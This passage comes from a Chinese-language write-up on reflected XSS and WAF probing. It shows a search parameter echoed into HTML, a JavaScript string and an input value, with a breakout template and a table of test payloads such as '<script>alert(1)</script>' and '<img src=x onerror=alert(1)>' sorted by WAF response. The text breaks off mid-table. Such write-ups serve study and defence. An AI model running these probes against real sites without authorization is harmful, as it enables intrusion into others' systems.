0.9em;"><span leaf=""><a href="http://xxxxxx?word=XXXXX" target="_blank">http://xxxxxx?word=XXXXX</a></span></code><span style="box-sizing: border-box;"><span leaf=""> 后，通过分析 HTML 源码，发现参数在 </span></span><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;"><span leaf="">三个位置回显</span></span></strong><span style="box-sizing: border-box;"><span leaf="">：</span></span></p><h6 style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;color: rgb(119, 119, 119);width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">位置 1: 页面文本内容（div）</span></span></h6><pre spellcheck="false" lang="html" style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;font-size: 0.9em;display: block;break-inside: avoid;text-align: left;overflow: visible;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border: 1px solid rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;color: rgb(51, 51, 51);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><p lang="html" style="box-sizing: border-box;text-align: left;height: auto;overflow: hidden;background: inherit;"><pre style="box-sizing: border-box;font-family: inherit;padding: 0px 4px;border-radius: 0px;border-width: 0px;background: 0px 0px;font-size: inherit;margin: 0px;white-space: pre-wrap;overflow-wrap: break-word;color: inherit;z-index: 2;overflow: visible;word-break: normal;width: inherit;"><span leaf="">&lt;</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(17, 119, 0);"><span leaf="">div</span></span><span style="box-sizing: border-box;color: rgb(0, 0, 204);"><span leaf="">id</span></span><span leaf="">=</span><span style="box-sizing: border-box;color: rgb(170, 17, 17);"><span leaf="">&#34;jiansuocelue&#34;</span></span><span style="box-sizing: border-box;color: rgb(17, 119, 0);"><span leaf="">&gt;</span></span><span leaf="">检索条件：XXXXX</span><span style="box-sizing: border-box;color: rgb(17, 119, 0);"><span leaf="">&lt;/</span></span><span style="box-sizing: border-box;color: rgb(17, 119, 0);"><span leaf="">div</span></span><span style="box-sizing: border-box;color: rgb(17, 119, 0);"><span leaf="">&gt;</span></span></span></pre></p></pre><h6 style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;color: rgb(119, 119, 119);width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">位置 2: JavaScript 字符串上下文（关键注入点）</span></span></h6><pre spellcheck="false" lang="javascript" style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;font-size: 0.9em;display: block;break-inside: avoid;text-align: left;overflow: visible;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border: 1px solid rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;color: rgb(51, 51, 51);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><p lang="javascript" style="box-sizing: border-box;text-align: left;height: auto;overflow: hidden;background: inherit;"><pre style="box-sizing: border-box;font-family: inherit;padding: 0px 4px;border-radius: 0px;border-width: 0px;background: 0px 0px;font-size: inherit;margin: 0px;white-space: pre-wrap;overflow-wrap: break-word;color: inherit;z-index: 2;overflow: visible;word-break: normal;width: inherit;"><span leaf="">$</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span leaf="">(</span><span style="box-sizing: border-box;color: rgb(119, 0, 136);"><span leaf="">function</span></span><span leaf="">(){</span></span></pre><pre role="presentation" style="box-sizing: border-box;font-family: inherit;break-inside: avoid;padding: 0px 4px;border-radius: 0px;border-width: 0px medium 0px 0px;background: 0px 0px;font-size: inherit;margin: 0px;white-space: pre-wrap;overflow-wrap: break-word;color: inherit;z-index: 2;overflow: visible;word-break: normal;border-right-style: none;border-right-color: currentcolor;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(119, 0, 136);"><span leaf="">var</span></span><span style="box-sizing: border-box;color: rgb(0, 0, 255);"><span leaf="">word</span></span><span style="box-sizing: border-box;color: rgb(152, 26, 26);"><span leaf="">=</span></span><span style="box-sizing: border-box;color: rgb(170, 17, 17);"><span leaf="">&#34;XXXXX&#34;</span></span><span leaf="">;    </span><span style="box-sizing: border-box;color: rgb(170, 85, 0);"><span leaf="">// ← 这里是注入点</span></span></span></pre><pre role="presentation" style="box-sizing: border-box;font-family: inherit;break-inside: avoid;padding: 0px 4px;border-radius: 0px;border-width: 0px medium 0px 0px;background: 0px 0px;font-size: inherit;margin: 0px;white-space: pre-wrap;overflow-wrap: break-word;color: inherit;z-index: 2;overflow: visible;word-break: normal;border-right-style: none;border-right-color: currentcolor;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(0, 0, 0);"><span leaf="">$</span></span><span leaf="">(</span><span style="box-sizing: border-box;color: rgb(170, 17, 17);"><span leaf="">&#34;<a class="wx_topic_link" topic-id="ms40r3gu-569j4a" style="color: #576B95 !important;" data-topic="1" data-recommend="">#ac</a>_keybox_0&#34;</span></span><span leaf="">).</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);"><span leaf="">val</span></span><span leaf="">(</span><span style="box-sizing: border-box;color: rgb(0, 85, 170);"><span leaf="">word</span></span><span leaf="">);</span></span></pre><pre role="presentation" style="box-sizing: border-box;font-family: inherit;break-inside: avoid;padding: 0px 4px;border-radius: 0px;border-width: 0px medium 0px 0px;background: 0px 0px;font-size: inherit;margin: 0px;white-space: pre-wrap;overflow-wrap: break-word;color: inherit;z-index: 2;overflow: visible;word-break: normal;border-right-style: none;border-right-color: currentcolor;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span leaf="">})</span></span></pre></p></pre><h6 style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;color: rgb(119, 119, 119);width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">位置 3: 搜索框 input 的 value 属性</span></span></h6><pre spellcheck="false" lang="html" style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;font-size: 0.9em;display: block;break-inside: avoid;text-align: left;overflow: visible;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border: 1px solid rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;color: rgb(51, 51, 51);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><p lang="html" style="box-sizing: border-box;text-align: left;height: auto;overflow: hidden;background: inherit;"><pre style="box-sizing: border-box;font-family: inherit;padding: 0px 4px;border-radius: 0px;border-width: 0px;background: 0px 0px;font-size: inherit;margin: 0px;white-space: pre-wrap;overflow-wrap: break-word;color: inherit;z-index: 2;overflow: visible;word-break: normal;width: inherit;"><span leaf="">&lt;</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(17, 119, 0);"><span leaf="">input</span></span><span style="box-sizing: border-box;color: rgb(0, 0, 204);"><span leaf="">value</span></span><span leaf="">=</span><span style="box-sizing: border-box;color: rgb(170, 17, 17);"><span leaf="">&#34;XXXXX&#34;</span></span><span style="box-sizing: border-box;color: rgb(17, 119, 0);"><span leaf="">&gt;</span></span></span></pre></p></pre><h5 style="box-sizing: border-box;white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;width: inherit;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">2.2 注入点选择</span></span></h5><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;width: inherit;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;"><span leaf="">位置 2（JavaScript 字符串上下文）是最有希望的注入点</span></span></strong><span style="box-sizing: border-box;"><span leaf="">，因为突破字符串后可以直接执行任意 JavaScript 代码：</span></span></p><pre spellcheck="false" lang="javascript" style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;font-size: 0.9em;display: block;break-inside: avoid;text-align: left;overflow: visible;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border: 1px solid rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;color: rgb(51, 51, 51);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><p lang="javascript" style="box-sizing: border-box;text-align: left;height: auto;overflow: hidden;background: inherit;"><pre style="box-sizing: border-box;font-family: inherit;padding: 0px 4px;border-radius: 0px;border-width: 0px;background: 0px 0px;font-size: inherit;margin: 0px;white-space: pre-wrap;overflow-wrap: break-word;color: inherit;z-index: 2;overflow: visible;word-break: normal;width: inherit;"><span leaf="">var</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(0, 0, 255);"><span leaf="">word</span></span><span style="box-sizing: border-box;color: rgb(152, 26, 26);"><span leaf="">=</span></span><span style="box-sizing: border-box;color: rgb(170, 17, 17);"><span leaf="">&#34;&#34;</span></span><span leaf="">;[</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);"><span leaf="">CODE_HERE</span></span><span leaf="">]</span><span style="box-sizing: border-box;color: rgb(170, 85, 0);"><span leaf="">//&#34;;</span></span></span></pre></p></pre><hr style="box-sizing: content-box;height: 2px;padding: 0px;margin: 16px 0px;background-color: rgb(231, 231, 231);border: 0px;overflow: hidden;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><h4 style="box-sizing: border-box;white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.25em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;width: inherit;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">3. WAF 探测与规则分析</span></span></h4><h5 style="box-sizing: border-box;white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;width: inherit;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">3.1 测试方法</span></span></h5><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;width: inherit;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">通过逐次修改 </span></span><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">word</span></code><span style="box-sizing: border-box;"><span leaf=""> 参数值，观察服务器响应来判断 WAF 规则：</span></span></p><ul style="box-sizing: border-box;margin: 0.8em 0px;padding-left: 40px;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;margin: 0px;white-space: pre-wrap;"><p style="box-sizing: border-box;line-height: inherit;orphans: 1;margin: 0px 0px 0.5rem;white-space: pre-wrap;width: inherit;"><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;"><span leaf="">连接重置</span></span></strong><span style="box-sizing: border-box;"><span leaf=""> (</span></span><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">ERR_CONNECTION_RESET</span></code><span style="box-sizing: border-box;"><span leaf="">) → WAF 在网络层拦截（检测到 JS 执行相关模式）</span></span></p></li><li style="box-sizing: border-box;margin: 0px;white-space: pre-wrap;"><p style="box-sizing: border-box;line-height: inherit;orphans: 1;margin: 0px 0px 0.5rem;white-space: pre-wrap;width: inherit;"><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;"><span leaf="">返回&#34;非法请求&#34;页面</span></span></strong><span style="box-sizing: border-box;"><span leaf=""> → WAF 在应用层拦截（检测到 HTML 标签等）</span></span></p></li><li style="box-sizing: border-box;margin: 0px;white-space: pre-wrap;"><p style="box-sizing: border-box;line-height: inherit;orphans: 1;margin: 0px 0px 0.5rem;white-space: pre-wrap;width: inherit;"><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;"><span leaf="">正常返回页面</span></span></strong><span style="box-sizing: border-box;"><span leaf=""> → 通过检测</span></span></p></li></ul><h5 style="box-sizing: border-box;white-space: pre-wrap;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;width: inherit;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">3.2 WAF 规则详细清单</span></span></h5><h6 style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;color: rgb(119, 119, 119);width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">规则组 A: HTML 标签（触发&#34;非法请求&#34;）</span></span></h6><figure style="box-sizing: border-box;overflow-x: auto;margin: 1.2em 0px;padding: 0px;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><table style="box-sizing: border-box;border-collapse: collapse;border-spacing: 0px;width: 1140px;overflow: auto;break-inside: auto;text-align: left;margin: 0px;padding: 0px;word-break: initial;"><thead><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><th style="box-sizing: border-box;font-weight: bold;border-width: 1px 1px 0px;border-style: solid solid none;border-color: rgb(223, 226, 229) rgb(223, 226, 229) currentcolor;border-image: none;margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">测试 Payload</span></span></th><th style="box-sizing: border-box;font-weight: bold;border-width: 1px 1px 0px;border-style: solid solid none;border-color: rgb(223, 226, 229) rgb(223, 226, 229) currentcolor;border-image: none;margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">结果</span></span></th></tr></thead><tbody><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">word=test123</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">正常</span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;background-color: rgb(248, 248, 248);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">word=&lt;div&gt;hello&lt;/div&gt;</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">非法请求</span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">word=&lt;a href=&#34;test&#34;&gt;click&lt;/a&gt;</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">非法请求</span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;background-color: rgb(248, 248, 248);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">word=&lt;script&gt;alert(1)&lt;/script&gt;</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">连接重置（同时触发了规则组A和B）</span></span></td></tr><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">word=&lt;img src=x onerror=alert(1)&gt;</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">连接重置</span></span></td></tr></tbody></table></figure><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;width: inherit;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;"><span style="box-sizing: border-box;"><span leaf="">结论</span></span></strong><span style="box-sizing: border-box;"><span leaf="">: 任何包含 </span></span><code style="box-sizing: border-box;font-family: &#34;Lucida Console&#34;, Consolas, Courier, monospace;text-align: left;vertical-align: initial;border: 1px solid rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding: 0px 2px;font-size: 0.9em;"><span leaf="">&lt;</span></code><span style="box-sizing: border-box;"><span leaf=""> 的 HTML 标签都被应用层 WAF 拦截。</span></span></p><h6 style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.4;cursor: text;color: rgb(119, 119, 119);width: inherit;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">规则组 B: 危险函数名 + 括号/反引号（触发连接重置）</span></span></h6><figure style="box-sizing: border-box;overflow-x: auto;margin: 1.2em 0px;padding: 0px;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, &#34;SF Pro&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><table style="box-sizing: border-box;border-collapse: collapse;border-spacing: 0px;width: 1140px;overflow: auto;break-inside: auto;text-align: left;margin: 0px;padding: 0px;word-break: initial;"><thead><tr style="box-sizing: border-box;break-inside: avoid;break-after: auto;border: 1px solid rgb(223, 226, 229);margin: 0px;padding: 0px;"><th style="box-sizing: border-box;font-weight: bold;border-width: 1px 1px 0px;border-style: solid solid none;border-color: rgb(223, 226, 229) rgb(223, 226, 229) currentcolor;border-image: none;margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">测试 Payload</span></span></th><th style="box-sizing: border-box;font-weight: bold;border-width: 1px 1px 0px;border-style: solid solid none;border-color: rgb(223, 226, 229) rgb(223, 226, 229) currentcolor;border-image: none;margin: 0px;padding: 6px 13px;"><span style="box-sizing: border-box;"><span leaf="">结果</span></span></th><th style="box-sizing: border-box;font-weight: bold;border-width: 1px 1px 0px;border-style: solid solid 